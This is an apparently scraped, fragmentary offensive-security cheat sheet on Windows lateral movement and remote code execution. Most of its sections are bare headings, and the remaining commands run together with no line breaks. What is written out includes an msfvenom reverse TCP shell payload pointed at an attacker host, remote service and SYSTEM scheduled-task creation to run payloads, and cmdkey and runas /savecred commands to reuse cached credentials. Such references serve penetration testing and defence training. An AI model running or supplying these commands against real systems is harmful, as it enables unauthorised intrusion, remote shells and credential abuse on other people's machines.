Connection
Remote administration
Scheduler
msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=<ip> LPORT=<port> -o <filename>.exesc.exe \\<host> create <service name> binPath="<cmd>" start=auto
sc.exe \\<host> start <service name>schtasks /s <host> /RU "SYSTEM" /create /tn "<task name>" /tr "<cmd or payload>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s <host> /run /TN "<task name>" RunAs
cmdkey /list //get a list of credentials, runas will use the ones in memory
runas /savecred /user:<domain>\<user> "\\<ip>\<path>" //connect to share
runas /savecred /user:<domain>\<user> "cmd.exe /k <cmd>" //run command as userWMI
RDP
Powershell remoting
Manage sessions
Code execution
Code execution with valid credentials
Powershell + WMI module
Connect to WMI
Execute command
Create service
Create scheduled task
Install MSI package
Evil-WinRM
In-memory execution + AMSI Bypass
Dll loader
Last updated